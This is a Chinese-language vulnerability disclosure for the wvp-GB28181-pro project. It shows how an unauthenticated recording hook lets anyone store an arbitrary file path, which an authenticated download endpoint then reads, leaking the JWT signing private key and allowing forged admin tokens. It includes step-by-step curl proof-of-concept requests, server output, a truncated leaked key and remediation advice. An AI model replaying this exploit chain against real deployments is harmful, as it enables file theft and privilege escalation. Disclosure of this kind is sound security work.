录像记录 file_path 未做校验,导致任意文件读取与 JWT 签名私钥泄露
录像记录 file_path 未做校验,导致任意文件读取与 JWT 签名私钥泄露
概要
POST /index/hook/on_record_mp4 不需要认证,它把请求体里的 file_path 原样存进 wvp_cloud_record 表。GET /api/cloud/record/zip 随后按这条记录中的路径打开文件并把内容打包返回,从写入到读取全程没有任何校验。
于是任意一个已登录账号都能读取服务器上的任意文件。读 config/jwk.json 即可拿到 wvp 签发和校验所有 access token 所用的 RSA-4096 私钥,进而伪造任意已存在用户名的 token,包括管理员。
前提:写入侧不需要账号,但读取侧需要一个有效账号(不限角色)。这条链是「已认证的任意文件读取 + 身份伪造」,不是未认证接管。
影响版本
- 仓库:https://github.com/648540858/wvp-GB28181-pro
- 实测 commit:da1e58813d7f38e0d6c6a72cdf84e1f007c4b7b1(master),构建产物
wvp-pro-2.7.4-09171215.jar - 受影响范围:
v2.7.4-20260107及之后,以及 master
最新发布版 v2.7.4-20260107 里三处相关代码都在:JwtUtils.createAndPersistDefaultRsaKey() 与 determinePersistPath() 存在、docker/wvp/wvp/application-docker.yml:139 配置了读不到的 jwkFile: classpath:xxxxxxxxxxx.json、CloudRecordController 仍有 @GetMapping("/zip")。
更早的 v2.7.4-20250709 没有密钥落盘逻辑,也没有 jwkFile 配置项,此链不成立。
成因
三处叠加。单看每一处都不算出格,合起来就是上面那条链。
1. 写侧免认证,且不校验路径
// src/main/java/com/genersoft/iot/vmp/media/zlm/ZLMHttpHookListener.java:312-322
@PostMapping(value = "/on_record_mp4", produces = "application/json;charset=UTF-8")
public HookResult onRecordMp4(HttpServletRequest request, @RequestBody OnRecordMp4HookParam param) {
log.info("[ZLM HOOK] 录像完成:时长: {}, {}->{}", param.getTime_len(), param.getMediaServerId(), param.getFile_path());
try {
MediaServer mediaServerItem = mediaServerService.getOne(param.getMediaServerId());
if (mediaServerItem != null) {
MediaRecordMp4Event event = MediaRecordMp4Event.getInstance(this, param, mediaServerItem);
event.setMediaServer(mediaServerItem);
applicationEventPublisher.publishEvent(event); // param.file_path 原样带下去
}
} catch (Exception e) { ... }/index/hook/** 在安全配置的免认证白名单里,所以这个处理器在任何鉴权之前就会执行:
// src/main/java/com/genersoft/iot/vmp/conf/security/WebSecurityConfig.java:100, 119-120
defaultExcludes.add("/index/hook/**");
...
.requestMatchers(defaultExcludes.toArray(new String[0])).permitAll()
.anyRequest().authenticated()监听器落库时也不检查:
// src/main/java/com/genersoft/iot/vmp/service/impl/CloudRecordServiceImpl.java:119-131
@Async
@EventListener
public void onApplicationEvent(MediaRecordMp4Event event) {
CloudRecordItem cloudRecordItem = CloudRecordItem.getInstance(event);
...
cloudRecordServiceMapper.add(cloudRecordItem);// src/main/java/com/genersoft/iot/vmp/service/bean/CloudRecordItem.java:98
cloudRecordItem.setFilePath(param.getRecordInfo().getFilePath()); // 无任何校验另外,mediaServerService.getOne() 在查不到时会回落到按配置项 media.id 构造的媒体服务器对象,所以 mediaServerItem != null 这个判断在未接入任何流媒体服务的默认部署下也能通过。随仓库提供的 Docker 配置里 media.id 是 polaris。
2. 下载接口直接打开该路径
// src/main/java/com/genersoft/iot/vmp/vmanager/cloudRecord/CloudRecordController.java:427, 483-490
@GetMapping("/zip")
public void downloadZipFile(HttpServletResponse response, @RequestParam(required = false) String query, ...) {
...
File file = new File(cloudRecordItem.getFilePath());
...
try (FileInputStream fis = new FileInputStream(cloudRecordItem.getFilePath())) {类级映射是 @RequestMapping("/api/cloud/record")(CloudRecordController.java:51),所以完整路径是 GET /api/cloud/record/zip。它需要认证,但没有任何角色校验——全仓库没有 @PreAuthorize 或 hasRole,角色判断只在少数控制器里手写为 if (currenRoleId != 1),这个接口不在其中。
3. 签名私钥落在可预测路径
jwkFile 指向一个读不到的 classpath 资源时,JwtUtils 会随机生成 RSA-4096 密钥对并持久化到 config/jwk.json,路径相对进程工作目录解析:
// src/main/java/com/genersoft/iot/vmp/conf/security/JwtUtils.java:221-223
// 若配置是classpath,保存到默认外部路径:./config/jwk.json(项目根目录下的config文件夹)
Path defaultPath = Paths.get("config", "jwk.json");
log.warn("[API AUTH] 配置的jwkFile是classpath路径(只读),默认密钥将保存到外部路径:{}",
defaultPath.toAbsolutePath());落盘用的是带私钥的 JWK 格式(OutputControlLevel.INCLUDE_PRIVATE),d、p、q、dp、dq、qi 全在明文里。Dockerfile 里 WORKDIR /opt/apps,所以容器部署的落点是 /opt/apps/config/jwk.json。
需要说明的是,「随机生成后落盘」本身不是缺陷——这恰恰是修掉硬编码密钥的标准做法。问题在于没有一并处理「谁读得到这份文件」。
复现
环境为本仓库 master 的构建产物,使用仓库自带的 Docker profile 配置,依赖 MySQL 8 与 Redis。下面两步都是普通 HTTP 请求,私钥取自第 2 步的响应体。
第 1 步:未认证,让服务器记下一条指向签名私钥的记录
curl -X POST 'http://<host>:18978/index/hook/on_record_mp4' \
-H 'Content-Type: application/json' \
-d '{"mediaServerId":"polaris","app":"rtp","stream":"poc","file_name":"x.mp4",
"file_path":"config/jwk.json","folder":"","file_size":1,"start_time":1758100000,
"time_len":1,"url":"","vhost":"__defaultVhost__","params":""}'{"code":0,"msg":"success"}
HTTP 200服务端日志与落库结果:
ZLMHttpHookListener:314 [ZLM HOOK] 录像完成:时长: 10.0, polaris->config/jwk.json
CloudRecordServiceImpl:130 [添加录像记录] rtp/test, callId: null, 内容:RecordInfo{文件路径='config/jwk.json', ...}id | app | stream | media_server_id | file_path | start_time
1 | rtp | test | polaris | config/jwk.json | 1758100000000第 2 步:任意已登录账号读取该文件
curl -H "access-token: <任意一个改过密码的账号的 token>" \
'http://<host>:18978/api/cloud/record/zip?app=rtp&stream=poc' -o leak.zipHTTP 200 bytes=2603
Content-Type: application/zip压缩包里只有一项,文件名固定为 <startTime>.mp4,与真实文件类型无关。内容:
{"keys":[{"kty":"RSA","kid":"3e79646c4dbc408383a9eed09f2b85ae","n":"ix6m9Y-Hz2vk2xtZitsgReejP6CFoPOxGUOuq4ebwUHKoSKLcyI1_NZiNtXbPrJ757td0xlbMaF4LtUN-v_ICEzF_5Cd4hdR-AhsXI_UVHb8XjEzZ3zkvq8xs-skjzYk9EgrA5ZgtTaGpWSEkZTOkRvaIUQyd70JdJdmB0Fjjv0GSAOE6MTgHlGF8AT_hZcDe4wyt0SQXDb59ghPtpS75WoePtuq92KSWowFE4NbzskDe1YSifppHt2wmzN0uacueMioyZTuL0UOxSxXJe3-_UEkyVY_1V04I25Vrhqf33jPikZT90Lv0Yci9Ra8mmFoZgDemzu_7t-ej6dbKLTUxpsEyF_qo1wCqO90aGCshYDBdweLZrucxurzO-gYgywvRZS8Yr-eH76GBg9G9haoSPxxmYc8Hkckn8NLomLmf7zCVZaa...完整内容(含 d、p、q、dp、dq、qi)见 evidence/leaked-jwk.json。
第 3 步:用泄露的私钥伪造 token
python3 tools/wvp-forge.py evidence/leaked-jwk.json adminpayload: {"jti":"gwfk2g6fPDp1f8av-edYfA","iat":1789648014,"exp":1789651614,
"nbf":1789648014,"sub":"login","aud":"Audience","userName":"admin"}伪造出的 token 是 938 字符,与真实 token 长度一致。
第 4 步:伪造 token 被接受,而原账号被拒
# 执行读取的那个非管理员账号(自建,roleId=2),用它自己的 token:
curl -X POST '.../api/user/add?username=denied&password=...&roleId=2' -H "access-token: <非管理员 token>"
{"code":400,"msg":"用户无权限","data":null}
# 同一请求,换成伪造的 admin token:
curl -X POST '.../api/user/add?username=poc&password=...&roleId=2' -H "access-token: <伪造 token>"
{"code":0,"msg":"成功","data":null} HTTP 200用户确实被创建。对照实验——同样的 claims 换一把 2048 位密钥签:
curl -X POST '.../api/user/add?username=ctl&password=...&roleId=2' -H "access-token: <同样 claims,另一密钥>"
{"code":401,"msg":"请登录后重新请求"} HTTP 401两次请求唯一的差别就是签名密钥,而密钥来自第 2 步的 HTTP 响应体。
完整脚本见 tools/atfv-e2e.sh,原始记录见 evidence/01-live-validation-http-only.txt 与 evidence/02-poc-e2e-run.txt。
影响
第一步不需要任何账号,攻击者据此决定服务器之后会交出哪个文件。第二步需要一个改过密码的账号,任意角色均可。
拿到私钥之后,攻击者可以:
- 以任意已存在用户名通过认证,无需知道对方口令。
JwtUtils.verifyToken从 token 的userName声明反查数据库确定身份,所以签给谁就是谁; - 在口令轮换后继续有效。私钥落盘后长期不变,伪造出的 token 也与之无关;
- 触达手写
currenRoleId != 1判断保护的管理接口(用户、角色、API Key 管理),这是本应用仅有的权限边界。
不过需要如实说明两点:
- 提权成立与否取决于部署形态。 出厂数据只有一个
admin账号(default_password=TRUE);只有当部署里存在非管理员账号时,「非管理员 → 管理员」这一步才成立。是否存在这样的账号,是部署事实,从代码判断不了。本次复现中的非管理员账号是测试时自行创建的。 - 不能绕过默认口令限制。
JwtAuthenticationFilter会按 token 里的userId回查数据库,default_password取自数据库记录,伪造 token 改变不了它。
修复建议
按能真正断链的优先级排列:
- 在
file_path进入文件系统之前做校验,用toRealPath()/normalize()限定其必须落在录像目录内。这是根因所在。 - 给
/index/hook/**加上认证。ZLM 的 hook 协议本身带secret参数,wvp 已有mediaServerItem.getSecret(),校验成本很低。 - 密钥落盘路径不要取进程工作目录,改为显式配置项并要求启动时存在。这一条不改变漏洞是否成立,只是降低后果。
参考
同类问题(文件访问入口 → 认证材料 → token 伪造)在其它项目里已多次出现:
- n8n — CVE-2026-21858:未认证的文件访问读到 n8n 持久化的加密密钥,可跨实例伪造 token。
- Nezha — CVE-2026-53519:未认证路径穿越泄露 HS256 的
jwt_secret_key,进而伪造管理员 JWT。与本例最接近的一点是:泄露那一步不需要身份。 - Jenkins — CVE-2024-23897:CLI 任意文件读取泄露 remember-me cookie 的密钥材料,公告明确指出据此可伪造 cookie 登录。
- Postiz — CVE-2026-19264:未认证路径穿越读取任意文件,泄露 JWT 签名密钥并得到一个不过期的管理员会话。
补充
这是我在整理一类「文件访问入口 → 认证材料 → token 伪造」的链路时发现的一个实例。报告里每一步都有对应的实测记录,如果需要我可以补充任何一步的细节,或者在本地复现一遍。
如果这里有什么写得不对或判断有偏差,也请直接指出。
Source: 648540858/wvp-GB28181-pro